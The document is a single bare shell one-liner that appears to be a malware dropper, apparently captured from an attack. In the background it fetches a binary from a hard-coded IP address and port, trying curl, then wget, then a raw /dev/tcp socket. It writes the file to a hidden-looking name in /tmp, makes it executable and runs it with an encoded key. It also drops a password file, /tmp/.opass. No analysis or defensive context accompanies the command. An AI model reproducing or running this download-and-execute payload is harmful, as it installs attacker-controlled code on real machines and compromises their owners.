nohup $SHELL -c "curl http://8.210.211.166:60147/linux -o /tmp/zbqEooHZh9; if [ ! -f /tmp/zbqEooHZh9 ]; then wget http://8.210.211.166:60147/linux -O /tmp/zbqEooHZh9; fi; if [ ! -f /tmp/zbqEooHZh9 ]; then exec 6<>/dev/tcp/8.210.211.166/60147 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/zbqEooHZh9 && chmod +x /tmp/zbqEooHZh9 && /tmp/zbqEooHZh9 aT+Gcg79WPIMeGcA9kfhAXqBLxUUKJdxDuNH9wpl[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/zbqEooHZh9 && /tmp/zbqEooHZh9 aT+Gcg79WPIMeGcA9kfhAXqBLxUUKJdxDuNH9wpl[...]" &#UPX!